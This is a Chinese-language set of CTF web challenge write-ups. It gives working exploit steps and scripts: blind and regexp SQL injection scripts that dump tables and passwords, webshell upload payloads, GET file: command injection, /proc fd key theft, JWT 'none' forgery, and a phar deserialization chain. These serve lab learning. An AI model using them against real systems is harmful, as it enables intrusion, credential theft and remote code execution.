这里的话不用为数组 直接进行下一层来绕过check就行了
/?action=upload&data=<?=(ph.pinfo)()?>
接着/?action=pwd
访问被写入路径
成功写入
那么就是可以使用 短标签和 ( ` ) 来进行绕过了
这里加个知识点就是 在使用php段标签的时候 代码末尾可以不用加上 (;)
[watevrCTF-2019]Cookie Store
考察的是个cookie伪造
先抓个包
有两个参数 看看这个cookie能不能进行直接解码查看
可以直接解码查看 没有加安全验证啥的 于是修改金额
令id为2就行
[网鼎杯 2020 白虎组]PicDown 题目
只有一个框
随便输点东西进去
得到这样的结果
进行进行文件读取的话是可以读出来的
这里是个非预期解
直接就可以读取flag了
预期解
这里考察的是可以尝试利用 /proc 目录 下的敏感文件进行利用。
首先读取/proc/self/cmdline
来获取启动当前题目进程的完整命令:
1 ?url=../../../../../../../proc/self/cmdline
看到一个app.py 尝试读取
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 from flask import Flask, Responsefrom flask import render_templatefrom flask import requestimport osimport urllibapp = Flask(__name__) SECRET_FILE = "/tmp/secret.txt" f = open (SECRET_FILE) SECRET_KEY = f.read().strip() os.remove(SECRET_FILE) @app.route('/' ) def index (): return render_template('search.html' ) @app.route('/page' ) def page (): url = request.args.get("url" ) try : if not url.lower().startswith("file" ): res = urllib.urlopen(url) value = res.read() response = Response(value, mimetype='application/octet-stream' ) response.headers['Content-Disposition' ] = 'attachment; filename=beautiful.jpg' return response else : value = "HACK ERROR!" except : value = "SOMETHING WRONG!" return render_template('search.html' , res=value) @app.route('/no_one_know_the_manager' ) def manager (): key = request.args.get("key" ) print (SECRET_KEY) if key == SECRET_KEY: shell = request.args.get("shell" ) os.system(shell) res = "ok" else : res = "Wrong Key!" return res if __name__ == '__main__' : app.run(host='0.0.0.0' , port=8080 )
关键点在这里
就是获取到key之后就可以进行os.system(shell)
来执行命令了
但是这个key的话是直接包含的话是获取不到的
打开之后就直接删除了
但是这里有一个小利用点就是
但在 linux 系统中如果一个程序用open()
打开了一个文件但最终没有关闭他,即便从外部(如os.remove(SECRET_FILE))删除这个文件之后,在 /proc 这个进程的 pid 目录下的 fd 文件描述符目录下还是会有这个文件的文件描述符,通过这个文件描述符我们即可得到被删除文件的内容 。/proc/[pid]/fd 这个目录里包含了进程打开文件的情况,目录里面有一堆/proc/[pid]/fd/id文件,id就是进程记录的打开文件的文件描述符的序号。我们通过对id的爆破,得到/tmp/secret.txt
文件描述符的序号:
1 /page?url=/proc/self/fd/3
于是访问/no_one_know_the_manager
传key和shell就行了
[HITCON 2017]SSRFme 题目
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php if (isset ($_SERVER ['HTTP_X_FORWARDED_FOR' ])) { $http_x_headers = explode (',' , $_SERVER ['HTTP_X_FORWARDED_FOR' ]); $_SERVER ['REMOTE_ADDR' ] = $http_x_headers [0 ]; } echo $_SERVER ["REMOTE_ADDR" ];$sandbox = "sandbox/" . md5 ("orange" . $_SERVER ["REMOTE_ADDR" ]);@mkdir ($sandbox ); @chdir ($sandbox ); $data = shell_exec ("GET " . escapeshellarg ($_GET ["url" ]));$info = pathinfo ($_GET ["filename" ]);$dir = str_replace ("." , "" , basename ($info ["dirname" ]));@mkdir ($dir ); @chdir ($dir ); @file_put_contents (basename ($info ["basename" ]), $data ); highlight_file (__FILE__ );
这道题的考点是 GET 这个命令的一个命令执行漏洞
要执行的命令先前必须要有以命令为文件名的文件存在
1 2 touch 'ls|' $a = shell_exec (GET "file:ls|" )
就是如果存在一个以命令命名 的文件存在 使用GET file:文件名
的话就可以运行这个命令
先创建一个以命令 命名的文件
1 ?url=file:ls /|&filename=ls /|
然后令 url 为 file:文件名 ,然后就是将运行结果存入data里 然后再存入第一步创建的文件中
1 ?url=file:ls /|&filename=ls /|
访问这个路径下的在第一步创建的文件
然后就可以拿到flag了
然后在重复以上步骤来创建这个/readflag
第一步
1 ?url=file:bash -c /readflag|&filename=bash -c /readflag|
第二步 读文件
1 /sandbox/13f6609a7c632f9b54e7fa69869971c2/bash -c /readflag|
这里不直接创建/readflag|
的原因是因为这个前面有个斜杠 会直接创建在根目录 这会和原本的重合 所以是不行的
这样是可以的 |/readflag
[b01lers2020]Welcome to Earth 题目
疯狂套娃 没啥可看的 直接跳过
[CISCN2019 总决赛 Day2 Web1]Easyweb 题目
题目就一个登录框 (感觉像是sql注入)
信息收集一下
第一个是存在备份文件 第二个是存在sql注入点
访问image.php.bak
成功下载备份文件
内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php include "config.php" ;$id =isset ($_GET ["id" ])?$_GET ["id" ]:"1" ;$path =isset ($_GET ["path" ])?$_GET ["path" ]:"" ;$id =addslashes ($id );$path =addslashes ($path );$id =str_replace (array ("\\0" ,"%00" ,"\\'" ,"'" ),"" ,$id );$path =str_replace (array ("\\0" ,"%00" ,"\\'" ,"'" ),"" ,$path );$result =mysqli_query ($con ,"select * from images where id='{$id} ' or path='{$path} '" );$row =mysqli_fetch_array ($result ,MYSQLI_ASSOC);$path ="./" . $row ["path" ];header ("Content-Type: image/jpeg" );readfile ($path );
这里用到的一个转义函数 addslashes
就是会将 ‘ “ \ 用 \ 给转义了
根据经验来说 这里的漏洞出现的地方一般是在这个waf这里
思路就是将这个单引号给破坏掉 这里的话这个waf刚好就能办到
举个例子
如果我们传进来 \\\\0
的话 这里会因为有这个addslashes
函数的关系 会在多一个反斜杠,就会变成 \\\\\0
然后因为waf的存在 会将\0
给替换成空 那么id就会变成\\\\
那么就会把后半个引号给转义掉 那么path
的话我们可以使用注释#符号来给后半个引号给注释掉 那么我们就可以成功让这个sql语句成 功回显了
1 select * from images where id='\\\\' or path='or 1#'
那么这个部分就是一个整体了
然后因为后面的or 1
,所以就可以成功查出所有结果
因为这里是无回显的所以我们得写一个盲注脚本来判断 如果失败的是会返回404,
就是利用这一点来获取正确结果
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 import requestsurl=r'http://a563b70a-acef-493b-aacd-34608c733374.node3.buuoj.cn/image.php?id=\\0&path=or ' def tablelen (): for i in range (1 ,30 ): payload='(select(length((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))))=' +str (i)+')%23' result=requests.get(url=url+payload) if '' != result.text and '404' not in result.text: print ('tablenlen:' +str (i)) return i def tablename (tablelen ): for i in range (1 ,tablelen+1 ): for j in range (30 ,127 ): payload='(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)=database()),' +str (i)+',1))=' +str (j)+')%23' result=requests.get(url=url+payload) if '' != result.text and '404' not in result.text: print (chr (j),end='' ) break def columnlen (): for i in range (1 ,30 ): payload='(length((select(group_concat(column_name))from(information_schema.columns)where(table_name)=0x7573657273))=' +str (i)+')%23' result=requests.get(url=url+payload) if '' != result.text and '404' not in result.text: print ('columnlen:' +str (i)) return i def columnname (columnlen ): columnname='' for i in range (1 ,columnlen+1 ): for j in range (30 ,127 ): payload='(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name)=0x7573657273),' +str (i)+',1))=' +str (j)+')%23' result=requests.get(url=url+payload) if '' != result.text and '404' not in result.text: print (chr (j),end='' ) columnname+=chr (j) break return columnname def dump (columnname ): for i in range (1 ,21 ): for j in range (30 ,127 ): payload='(ascii(substr((select group_concat(password) from users),' +str (i)+',1))=' +str (j)+')--+' result=requests.get(url=url+payload) if '' != result.text and '404' not in result.text: print (chr (j),end='' ) break tablelen=tablelen() tablename=tablename(tablelen) columnlen=columnlen() columnname=columnname(columnlen) datalen=dump()
然后爆出的用户名和密码分别是
admin,91f63d79e4b19e55c5c9
进行登录
然后尝试上传文件
测试了一下 发现这里会把上传的文件名给上传到这个php文件下
那么我们就可以传个一句话木马的文件名就行了
然后就可以rce了
[HFCTF2020]EasyLogin 题目
就只有一个登录框
查看源码发现一个app.js
里面提示了一个koa 于是就去搜索这是个什么东西
搜到一个结构图
根据这个图,去读取/controllers/api.js 文件(至于为啥是api.js而不是app.js我还没想通)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 const crypto = require ('crypto' );const fs = require ('fs' )const jwt = require ('jsonwebtoken' )const APIError = require ('../rest' ).APIError ;module .exports = { 'POST /api/register' : async (ctx, next) => { const {username, password} = ctx.request .body ; if (!username || username === 'admin' ){ throw new APIError ('register error' , 'wrong username' ); } if (global .secrets .length > 100000 ) { global .secrets = []; } const secret = crypto.randomBytes (18 ).toString ('hex' ); const secretid = global .secrets .length ; global .secrets .push (secret) const token = jwt.sign ({secretid, username, password}, secret, {algorithm : 'HS256' }); ctx.rest ({ token : token }); await next (); }, 'POST /api/login' : async (ctx, next) => { const {username, password} = ctx.request .body ; if (!username || !password) { throw new APIError ('login error' , 'username or password is necessary' ); } const token = ctx.header .authorization || ctx.request .body .authorization || ctx.request .query .authorization ; const sid = JSON .parse (Buffer .from (token.split ('.' )[1 ], 'base64' ).toString ()).secretid ; console .log (sid) if (sid === undefined || sid === null || !(sid < global .secrets .length && sid >= 0 )) { throw new APIError ('login error' , 'no such secret id' ); } const secret = global .secrets [sid]; const user = jwt.verify (token, secret, {algorithm : 'HS256' }); const status = username === user.username && password === user.password ; if (status) { ctx.session .username = username; } ctx.rest ({ status }); await next (); }, 'GET /api/flag' : async (ctx, next) => { if (ctx.session .username !== 'admin' ){ throw new APIError ('permission error' , 'permission denied' ); } const flag = fs.readFileSync ('/flag' ).toString (); ctx.rest ({ flag }); await next (); }, 'GET /api/logout' : async (ctx, next) => { ctx.session .username = null ; ctx.rest ({ status : true }) await next (); } };
得到源码
大概审计了一下代码发现
只要满足这个条件的话就能获取到flag
这里的话是在这个路由下使用jwt来生成session 并且这个密钥还是随机值
生成了token
由于我们不知道密钥 试了一下使用jwt-crack
爆破不出来 所以这里就采用另一种方法 就是将加密方式设为空
1 2 3 4 5 6 7 8 9 10 11 12 import jwttoken = jwt.encode( { "secretid" : [], "username" : "admin" , "password" : "222" , "iat" : 1688911442 }, algorithm="none" ,key="" ) print (token)
然后替换就行了
[GYCTF2020]Ezsqli
根据题目和这个返回的信息来看 感觉像是个bool盲注
输入123分别对应这几个结果 所以就是说可以使用bool盲注脚本来进行判断
刚好可以使用这来进行爆破
脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 from turtle import rightimport requestsimport time url = "http://8be76b70-3e62-4ed2-bddb-9a1f96815747.node4.buuoj.cn:81/" table_name = "" i = 0 while True : i = i + 1 letf = 32 right = 127 while letf < right: mid = (letf+right) // 2 payload = f"0^(ascii(substr((select group_concat(table_name) from sys.x$schema_table_statistics_with_buffer where table_schema = database()),{i} ,1))>{mid} )" data = {"id" :payload} res = requests.post(url=url,data=data).text if "Nu1L" in res: letf = mid + 1 else : right = mid if letf != 32 : table_name += chr (letf) time.sleep(0.2 ) print (table_name) else : break
这里的话因为这个information_schema.tables
被过滤了
(这也是个小知识点 可以记下积累)
用sys.x$schema_table_statistics_with_buffer
代替
Bypass information_schema与无列名注入
爆出了2张表
1 f1ag_1s_h3r3_hhhhh,users233333333333333
这里考点是考察无列名注入 因为过滤了很多东西 无法使用常规方法进行绕过
这里的用到的是无列名的ascii位偏移方法
从这里来看的话可以得出结论就是这里比较的不是长度 而是比较ascii的大小
这道题我们利用的就是这个特性,我们首先会从构造一个ascii从32到128的循环,与flag字符诸位一一进行对比,满足条件返回Nu1L,输出符合条件的ascii对应的字符,也就是找到了flag的第一个字符,以此类推,直到输出flag所有位的字符。
字母是代表0
所以说可以使用1&&((1,1)>(select * from f1ag_1s_h3r3_hhhhh))
来判断一共有几列
返回 Nu1L,说明有两列。
脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import requestsurl='http://8e176081-905d-4063-a906-4eed1f03ed17.node3.buuoj.cn/index.php' payload='1&&((select 1,"{}")>(select * from f1ag_1s_h3r3_hhhhh))' flag='' for j in range (200 ): for i in range (32 ,128 ): hexchar=flag+chr (i) py=payload.format (hexchar) datas={'id' :py} re=requests.post(url=url,data=datas) if 'Nu1L' in re.text: flag+=chr (i-1 ) print (flag) break
当我们匹配flag的时候,一定会先经过匹配到字符相等的情况,这一这个时候返回的是0,对应题目中的V&N,很明显此时的chr(char)并不是我们想要的,我们在输出1(Nu1L)的时候,匹配的是f的下一个字符g,而我们想要的是f,此时chr(char-1)=’f’,所以这里要用chr(char-1)
然后将生成的flag转为小写就行
1 2 3 4 5 6 7 <?php $str = "FLAG{FADF587F-8C6F-442B-A523-F220A4DB0690}" ;$lowercaseStr = strtolower ($str );echo $lowercaseStr ;
Bypass information_schema与无列名注入
这篇文章写的很好 可以拿来学习一下
[SWPUCTF 2018]SimplePHP 题目
有查看文件和上传文件两个点 但是这个查看文件后面跟着个?file
于是就去尝试一下看是否能读取文件
依次把能读取的文件全读取出来
file.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php header ("content-type:text/html;charset=utf-8" ); include 'function.php' ; include 'class.php' ; ini_set ('open_basedir' ,'/var/www/html/' ); $file = $_GET ["file" ] ? $_GET ['file' ] : "" ; if (empty ($file )) { echo "<h2>There is no file to show!<h2/>" ; } $show = new Show (); if (file_exists ($file )) { $show ->source = $file ; $show ->_show (); } else if (!empty ($file )){ die ('file doesn\'t exists.' ); } ?>
function.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 <?php include "base.php" ; header ("Content-type: text/html;charset=utf-8" ); error_reporting (0 ); function upload_file_do ( ) { global $_FILES ; $filename = md5 ($_FILES ["file" ]["name" ].$_SERVER ["REMOTE_ADDR" ]).".jpg" ; if (file_exists ("upload/" . $filename )) { unlink ($filename ); } move_uploaded_file ($_FILES ["file" ]["tmp_name" ],"upload/" . $filename ); echo '<script type="text/javascript">alert("上传成功!");</script>' ; } function upload_file ( ) { global $_FILES ; if (upload_file_check ()) { upload_file_do (); } } function upload_file_check ( ) { global $_FILES ; $allowed_types = array ("gif" ,"jpeg" ,"jpg" ,"png" ); $temp = explode ("." ,$_FILES ["file" ]["name" ]); $extension = end ($temp ); if (empty ($extension )) { } else { if (in_array ($extension ,$allowed_types )) { return true ; } else { echo '<script type="text/javascript">alert("Invalid file!");</script>' ; return false ; } } } ?>
base.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 <?php session_start (); ?> <!DOCTYPE html> <html> <head> <meta charset="utf-8" > <title>web3</title> <link rel="stylesheet" href="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/css/bootstrap.min.css" > <script src="https://cdn.staticfile.org/jquery/2.1.1/jquery.min.js" ></script> <script src="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/js/bootstrap.min.js" ></script> </head> <body> <nav class ="navbar navbar -default " role ="navigation "> <div class ="container -fluid "> <div class ="navbar -header "> <a class ="navbar -brand " href ="index .php ">首页</a > </div > <ul class ="nav navbar -nav navbra -toggle "> <li class ="active "><a href ="file .php ?file =">查看文件</a ></li > <li ><a href ="upload_file .php ">上传文件</a ></li > </ul > <ul class ="nav navbar -nav navbar -right "> <li ><a href ="index .php "><span class ="glyphicon glyphicon -user "></span ><?php echo $_SERVER ['REMOTE_ADDR '];?></a ></li > </ul > </div > </nav > </body > </html > <!--flag is in f1ag .php -->
class.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 <?php class C1e4r { public $test ; public $str ; public function __construct ($name ) { $this ->str = $name ; } public function __destruct ( ) { $this ->test = $this ->str; echo $this ->test; } } class Show { public $source ; public $str ; public function __construct ($file ) { $this ->source = $file ; echo $this ->source; } public function __toString ( ) { $content = $this ->str['str' ]->source; return $content ; } public function __set ($key ,$value ) { $this ->$key = $value ; } public function _show ( ) { if (preg_match ('/http|https|file:|gopher|dict|\.\.|f1ag/i' ,$this ->source)) { die ('hacker!' ); } else { highlight_file ($this ->source); } } public function __wakeup ( ) { if (preg_match ("/http|https|file:|gopher|dict|\.\./i" , $this ->source)) { echo "hacker~" ; $this ->source = "index.php" ; } } } class Test { public $file ; public $params ; public function __construct ( ) { $this ->params = array (); } public function __get ($key ) { return $this ->get ($key ); } public function get ($key ) { if (isset ($this ->params[$key ])) { $value = $this ->params[$key ]; } else { $value = "index.php" ; } return $this ->file_get ($value ); } public function file_get ($value ) { $text = base64_encode (file_get_contents ($value )); return $text ; } } ?>
这里的话给了上传文件的话 又加上没有反序列化的入口 那么我们就可以猜想到这个是个phar反序列化
能实现这个的前提是得有file_
开头的函数 并且存在恶意类 里面得存在一些能获取信息的函数
所以说 我们的思路是先去上传这个phar 文件
然后在通过这个file协议访问
这里的话使用phar协议的话就可以触发phar反序列化了
(在存在恶意类的php文件下生成)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 $c =new Test ();$c ->params=array ('source' =>'var/www/html/f1ag.php' );$b =new Show ();$b ->str['str' ]=$c ;$a =new C1e4r ();$a ->str=$b ;echo serialize ($a );@unlink ("phar.phar" ); $phar =new Phar ("phar.phar" );$phar ->startBuffering (); $phar ->setStub ('GIF89a' ."<?php __HALT_COMPILER(); ?>" ); $phar ->setMetadata ($a ); $phar ->addFromString ("test.txt" , "test" );$phar ->stopBuffering ();
是由这个函数来触发的
构造POP链地思路
1 2 3 4 5 6 7 8 9 10 11 12 通过Cle4r。将str赋值为Show类。 this->test=$this ->Show类 echo $this ->test;触发Show类中的__tostring魔术方法。进入Show类。执行 $content =$this ->str['str' ]->source;那么我们将str['str' ]赋值为Test类。使其调用source。但是不存在。 接下来就进入了Test类。执行 __get ($key )。这个$key 。其实就是source。get ($key )$value =this->params['source' ];file_get_contents ($value );由于Test类在构造函数中。定义了params是个数组。那么我们就定义params=array ('source' =>'/var/www/html/fl1g.php' );
因为只允许上传这几种后缀的文件 所以说我们得修改phar.phar
为1.jpg
来上传
这就是为什么上传jpg的原因 这里的上传路径是可以自己查出来的
md5(文件名加ip地址就行了)
[NCTF2019]SQLi 这个题考察的是正则注入 (regexp注入)
扫一下目录发现存在 robots.txt
存在hint.txt
过滤了挺多东西的
这个注入方式呢相当于布尔盲注 吧,若是猜对了就返回正确的页面,我们本地测试一下正则,先看一下全部数据,然后^匹配e开头的password
就是使用这种办法
回到题目
1 select * from users where username= '' and passwd= ''
想要猜解admin的密码需要用到admin,可是题目过滤掉了admin,但是我们能用其他方法绕过,让username=\,将语句后面的单引号给转义掉,我们可以构造这样的payload
1 username= \& passwd= || sql ;% 00
这里其实就是在注释符不存在的情况下使用的一种闭合引号 的方法来替代
放入原查询语句
1 select * from users where username= '\' and passwd= '||sql;%00'
这里sql的意思是可以添加sql语句来进行查询
脚本查询
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 import timeimport requestsimport stringurl = "http://9cfe7d12-7a56-4e34-ab59-9c8f6657012a.node4.buuoj.cn:81/" pw_fuzz = string.ascii_lowercase + string.digits + "_" pw = "" while True : for i in pw_fuzz: data = { 'username' : '\\' , 'passwd' : '||/**/passwd/**/regexp/**/"^{}";\x00' .format ((pw + i)) } res = requests.post(url=url, data=data).text if "alert" not in res: pw = pw + i print (pw) time.sleep(3 )
最后爆破出来的密码是
1 you_will_never_know7788990
登录之后就拿到了flag
[RootersCTF2019]I_<3_Flask 这个有个解法是使用工具来解的 (当然手注也行)
不过是可以学习一下工具解法
Jinjia2模版注入
Arjun 参数爆破工具
tplmap 模版注入工具
Arjun工具
安装过程
等会就会把name
这个参数给爆出来
tplmap工具 这个工具的话就会把是什么模板注入也给爆出来
tplmap工具地址
1 python2 tplmap.py -u 'http://462f5dc9-0fae-4d3a-b764-a9b0b0c8a125.node4.buuoj.cn:81/?name=1'
然后使用--os-shell
就行了
学到了 居然还可以使用工具来写入shell和判断ssti的类型
考点
git泄露
sql二次注入
sql文件读取
特殊文件识别和利用
先扫目录发现 .git
存在
使用Githack
来下载git泄露文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php include "mysql.php" ;session_start ();if ($_SESSION ['login' ] != 'yes' ){ header ("Location: ./login.php" ); die (); } if (isset ($_GET ['do' ])){switch ($_GET ['do' ]){ case 'write' : break ; case 'comment' : break ; default : header ("Location: ./index.php" ); } } else { header ("Location: ./index.php" ); } ?>
得到泄露的源码
(使用这个工具得到的源码不全 所以我们得使用githacker 这个工具)
发现这个工具的话 将一些东西与write_do.php
进行了混合 于是尝试读取这个文件
第一步 先获取这个commit
然后提示了这个e5b2a24
这个新内容的位置
git show e5b2a24
来进行读取这个内容
这些带颜色的内容就是新增加的 于是和刚开始获取的代码结合在一起
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 <?php include "mysql.php" ;session_start ();if ($_SESSION ['login' ] != 'yes' ){ header ("Location: ./login.php" ); die (); } if (isset ($_GET ['do' ])){switch ($_GET ['do' ]){ case 'write' : $category = addslashes ($_POST ['category' ]); $title = addslashes ($_POST ['title' ]); $content = addslashes ($_POST ['content' ]); $sql = "insert into board set category = '$category ', title = '$title ', content = '$content '" ; $result = mysql_query ($sql ); header ("Location: ./index.php" ); break ; case 'comment' : $bo_id = addslashes ($_POST ['bo_id' ]); $sql = "select category from board where id='$bo_id '" ; $result = mysql_query ($sql ); $num = mysql_num_rows ($result ); if ($num >0 ){ $category = mysql_fetch_array ($result )['category' ]; $content = addslashes ($_POST ['content' ]); $sql = "insert into comment set category = '$category ', content = '$content ', bo_id = '$bo_id '" ; $result = mysql_query ($sql ); } header ("Location: ./comment.php?id=$bo_id " ); break ; default : header ("Location: ./index.php" ); } } else { header ("Location: ./index.php" ); } ?>
审计代码发现这里存在很明显的二次注入 并且就是这里的话过滤的话只采用一个addslashes
转义函数来进行过滤
就是再write
的时候控制这个category
的内容 然后在插入comment
的时候就会将我们的恶意代码输出的结果给插入进去 然后我们访问comment
的时候就能看到结果了
先尝试进行登录
这里的星号就是让我们进行爆破的
bp进行爆破
得出结果
这里的二次注入表现为,addslashes过滤后产生的\不会进入数据库,即’1过滤后变成\'1
,进入库中却仍为’1,我们在取出数据后进行二次拼接,即可造成注入
第一步
在wirte
处对category
写入
在comment
处写入
最后表现的形式是
1 2 3 4 $sql = "insert into comment set category = '', content=user(),/* content = '*/#', bo_id = '$bo_id'";
这里直接按照wp给的flag
位置来进行读取了(这里是藏flag的 没意思 )
write处
1 ', content=(load_file(' / var/ www/ html/ flag_8946e1ff1ee3e40f.php')),/*
comment处